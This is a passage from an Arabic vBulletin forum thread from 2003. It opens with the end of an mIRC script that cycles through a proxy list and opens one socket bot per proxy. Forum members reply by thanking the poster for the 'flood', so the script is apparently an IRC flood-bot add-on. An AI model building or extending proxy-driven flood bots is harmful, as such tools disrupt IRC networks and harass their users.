if ($left(%melding,4) == PING) { /sockwrite -nt $sockname PONG $mid(%numrep,2,512) }
%botloop = 0
%bots.connected = 0
:loop
inc %botloop 1
set %SaLikbot.proxy $read -l $+ %botloop %SaLik.proxylist
if (%SaLikbot.proxy == $null) { goto end }
sockopen SaLikbot $+ %botloop %SaLikbot.proxy
goto loop
:end
}
alias -l options.write {
if ($exists( [ [ $scriptdir ] $+ ] options.txt ) == $false) {
write -c [ [ $scriptdir ] $+ ] options.txt *Do not edit manually*
write [ [ $scriptdir ] $+ ] options.txt SaLik
write [ [ $scriptdir ] $+ ] options.txt SaLik
write [ [ $scriptdir ] $+ ] options.txt 2
write [ [ $scriptdir ] $+ ] options.txt 2
write [ [ $scriptdir ] $+ ] options.txt 2
write [ [ $scriptdir ] $+ ] options.txt 1
write [ [ $scriptdir ] $+ ] options.txt [ [ $scriptdir ] $+ ] Proxy.txt
write [ [ $scriptdir ] $+ ] options.txt [ [ $scriptdir ] $+ ] Nicks.txt
write [ [ $scriptdir ] $+ ] options.txt 1,1,1
}
}
alias StRoM.unload {
if ($?!="Are you sure you want to unload StRoM addon?" == $true) { .sockclose SaLik* | sockclose identd.SaLik* | unset %SaLik* | .timerSaLik* off | .timertask off | if ($dialog(SaLik)) { dialog -x SaLik SaLik } | unload -rs $script }
}

]hdhg,r tg,,] fv,;sd fv,;sn ]hdhg,r tg,,]












عرض البوم صور Erro   رد مع اقتباس
قديم 07-02-2003, 12:18 PM   المشاركة رقم: 2
المعلومات
الكاتب:
اللقب:
الاعضاء
الصورة الرمزية
 
الصورة الرمزية KillYou

البيانات
التسجيل: Jul 2003
العضوية: 1720
المشاركات: 75 [+]
بمعدل : 0.01 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
KillYou غير متصل
وسائل الإتصال:

كاتب الموضوع : Erro المنتدى : برامج - سكربتات - اضافات ماسنجر

خوش فلود وتسلم جزاك الف الف خير












عرض البوم صور KillYou   رد مع اقتباس
قديم 07-02-2003, 12:20 PM   المشاركة رقم: 3
المعلومات
الكاتب:
اللقب:
الاعضاء
الصورة الرمزية
 
الصورة الرمزية KillYou

البيانات
التسجيل: Jul 2003
العضوية: 1720
المشاركات: 75 [+]
بمعدل : 0.01 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
KillYou غير متصل
وسائل الإتصال:

كاتب الموضوع : Erro المنتدى : برامج - سكربتات - اضافات ماسنجر
لووووول

:cry :D :evil :) :( :mad: :rolleyes: :cool: :p :knight :hell :heart :guill :bi
استعباط












عرض البوم صور KillYou   رد مع اقتباس
قديم 07-08-2003, 01:17 PM   المشاركة رقم: 4
المعلومات
الكاتب:
اللقب:
الاعضاء

البيانات
التسجيل: Jul 2003
العضوية: 1728
المشاركات: 126 [+]
بمعدل : 0.02 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
hawe غير متصل
وسائل الإتصال:

كاتب الموضوع : Erro المنتدى : برامج - سكربتات - اضافات ماسنجر

يعطيك العافيه اخوي على الفلود


KillYouاخوك ذا يبيله فلود على شان يبطل استعباط












توقيع : hawe


عرض البوم صور hawe   رد مع اقتباس
قديم 07-16-2003, 01:10 PM   المشاركة رقم: 5
المعلومات
الكاتب:
اللقب:
.: مشرف منتدى الالعاب والتسليه :.
الصورة الرمزية
 
الصورة الرمزية Mr.rahe

البيانات
التسجيل: Jun 2003
العضوية: 1679
المشاركات: 2,711 [+]
بمعدل : 0.44 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
Mr.rahe غير متصل
وسائل الإتصال:

كاتب الموضوع : Erro المنتدى : برامج - سكربتات - اضافات ماسنجر

لول خوش فلود ومشكور ويعطيك العفافيه












توقيع : Mr.rahe

...ماكو توقيع :P ....

عرض البوم صور Mr.rahe   رد مع اقتباس
قديم 07-16-2003, 01:12 PM   المشاركة رقم: 6
المعلومات
الكاتب:
اللقب:
.: مشرف منتدى الالعاب والتسليه :.
الصورة الرمزية
 
الصورة الرمزية Mr.rahe

البيانات
التسجيل: Jun 2003
العضوية: 1679
المشاركات: 2,711 [+]
بمعدل : 0.44 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
Mr.rahe غير متصل
وسائل الإتصال:

كاتب الموضوع : Erro المنتدى : برامج - سكربتات - اضافات ماسنجر

سوري يعطيك العافيه انشالله












توقيع : Mr.rahe

...ماكو توقيع :P ....

عرض البوم صور Mr.rahe   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
بروكسى, دايالوق, فلوود

جديد منتدى برامج - سكربتات - اضافات ماسنجر


أدوات الموضوع
انواع عرض الموضوع


ترتيب الموقع عالميا
     

Site_Map


الساعة الآن 02:42 AM.


Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2020, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO 3.6.1